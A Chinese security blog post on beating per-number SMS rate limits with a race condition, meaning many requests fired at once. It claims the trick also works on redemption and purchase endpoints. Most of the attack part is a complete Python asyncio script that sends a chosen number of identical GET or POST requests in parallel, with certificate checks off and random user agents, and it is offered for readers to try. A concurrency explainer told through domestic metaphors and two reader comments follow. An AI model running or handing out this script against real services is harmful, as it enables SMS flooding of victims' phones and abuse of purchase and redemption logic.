给大家分享一个我最近发现的一个漏洞。并发漏洞。
通常我们测试短信轰炸主要是放到burp的repeater,尝试多次发送,如果成功则证明存在。
有时程序会做判断,同一个手机号一分钟内只能发一次,并且每次发送时都会校验自己一分钟内有没有发送过,如果放到repeater,重放第二次就会被拦截,会提示一分钟之后才能继续发送。
首先说一下我们通过repeater重放的这种叫做同步并发,虽然同一个数据包被重复发送了很多次,但是他是有序的发送,如果发完第一个包后程序对第二个包做限制的话,第二个包也就无法重放成功了,通常的开发防御方式都是这种,并发发包都是有序的。
介绍下另外一种思路,就是无序发包,也就是异步并发,怎么去理解同步并发以及异步并发。同步和异步就像是赛跑,同步是接力跑,一个跑完了下一个才会接着跑。intruter模块的工作模式就是一个请求结束了,下一个请求才开始,异步就是所有人同时跑,一条短信发送前会判断上一分钟内是否发送过,没有则发送短信,有则拦截。但是如果三条短信同时发送。分别判断上一分钟是否发送,判断成功后会发送,这种同时发送请求的异步并发有的时候就会绕过当前的短信发送时隔限制。
利用的场景:短信发送啊,兑换啊,购买啊,都可以尝试。
反正我每次对短信轰炸策略绕过屡试不爽~顺便分享下我写过的小脚本,Python菜逼一个,写的不好,勿喷~
附加代码的下载地址,方便下载:
https://github.com/JE2Se/Async_Exp
# -*- encoding: utf-8 -*-
'''
@File : Async_Exp.py
@Time : 2019/06/25 23:39:09
@Author : JE2Se
@Version : 1.0
@Contact : admin@je2se.com
@WebSite : https://www.je2se.com
'''
# 异步并发的可能通用的脚本吧~
# 有一些漏洞可能还会有特殊的请求头,就不写了,多个逻辑而已,有需要自己添加
import asyncio
import aiohttp
from fake_useragent import UserAgent
async def seedSMSpost(url, headers,data):
conn = aiohttp.TCPConnector(verify_ssl = False)
session = aiohttp.ClientSession(connector = conn)
response = await session.post(url, headers = headers,data = data)
result = await response.text()
session.close()
return result
async def seedSMSget(url):
conn = aiohttp.TCPConnector(verify_ssl = False)
session = aiohttp.ClientSession(connector = conn)
response = await session.get(url)
result = await response.text()
session.close()
return result
async def requestpost():
result = await seedSMSpost(url,headers,data)
print(result)
async def requestget():
result = await seedSMSget(url)
print(result)
if __name__ == "__main__":
ua = UserAgent(verify_ssl=False)
headers = {'User-Agent':ua.random}
caseCase = int(input("GET请求请输入「1」,POST请求请输入「2」:"))
if caseCase == 1:
url = str(input("请输入GET请求的链接:"))
threadCount = int(input("请输入发送的条数:"))
count = range(threadCount)
tasks = [asyncio.ensure_future(requestget()) for _ in count]
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))
else:
url = str(input("请输入POST请求的链接:"))
data = str(input("请输入POST请求中的数据:")) #如修改手机号,需要再复制前修改
threadCount = int(input("请输入发送的条数:"))
count = range(threadCount)
tasks = [asyncio.ensure_future(requestpost()) for _ in count]
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))
赶紧去试试吧~
文后小彩蛋,我理解的异步并发,同步并发,多线程,线程,程序~~~~
给大家普及几个网络IO专业名词
前景概要
在一个祥和的中午,你和你的女朋友正在吃午餐,突然来了一个电话……
程序:程序是指一段静态的代码,吃饭,接电话就是程序
进程:进程是指正在执行的程,你和你的女朋友还有你妈正在吃午餐,突然来了一个电话,这个就是进程
线程:指正在执行程序的小单元,你和你的女朋友还有你妈就是线程
单线程:你只吃饭,不接电话,只能专心做一件事
同步:你持续在吃饭,吃完饭后才去接电话,必须一件一件事做,等前一件做完了才能做下一件事
多线程:你还在吃饭,不接电话,但是你妈去把电话接了,两个人去完成了这件事
并行:你一边打电话,一边吃饭,同时进行
并发:你持续在吃饭,但是你发现碗里没有饭了,你让你妈去帮你去盛饭,盛完接着吃,在盛饭过程中你去接了个电话,这就是并发。
异步:你持续在吃饭,然后告诉让你女朋友去接电话,然后撒手不管继续吃饭,发布事情命令就行,完事自行通知
阻塞:你女朋友准备去接电话,但是去接电话的路被你妈挡住了,你女朋友让你妈让个路,你妈告诉你女朋友现在不方便,你女朋友在你妈面前一直等,没办法接电话以及吃饭,这就叫阻塞
非阻塞:你女朋友让你妈借过一下,你妈说不方便,女朋友回去继续吃饭,过了一会,女朋友又去接电话,你妈还说不方便,女朋友又回去吃饭,还来女朋友又去了……这就是非阻塞状态。协程:你在吃饭,你让女朋友去接个电话,你女朋友去接电话,但是被你妈挡住了,然后接电话的事暂时放下,回去吃饭,等一会再去。是异步非阻塞的另外一种展现形式,在执行过程中可中断去执行其他任务,执行完毕后再回来继续原先的操作。可以理解为两个或多个程序协同工作
说了这么多有什么感受?(PS:劝你对你女朋友和你妈好点~)
<hr>
过了好久,在看这个例子。感觉有问题,乱了,我再理理
并发就像一个人喂两个小孩吃饭,表面上是两个小孩在吃饭,实际是一个人在喂。
并行就是两个人喂两个小孩子吃饭。
协程就是我做了很多的事情,我吃饭 ,打电话,但我停下吃饭,保存当前我的饭的状态,饭没有被收走,我去接电话,回来的时候饭还是刚才的状态。
感觉例子有些冲突 ,很多概念不能用一种场景去比喻,单个对比更清晰。如
异步,同步
单线程,多线程
并行,并发
等等
文章评论
我觉得你异步和同步说反了
@XXX 同步似乎等价于阻塞,异步则等价于非阻塞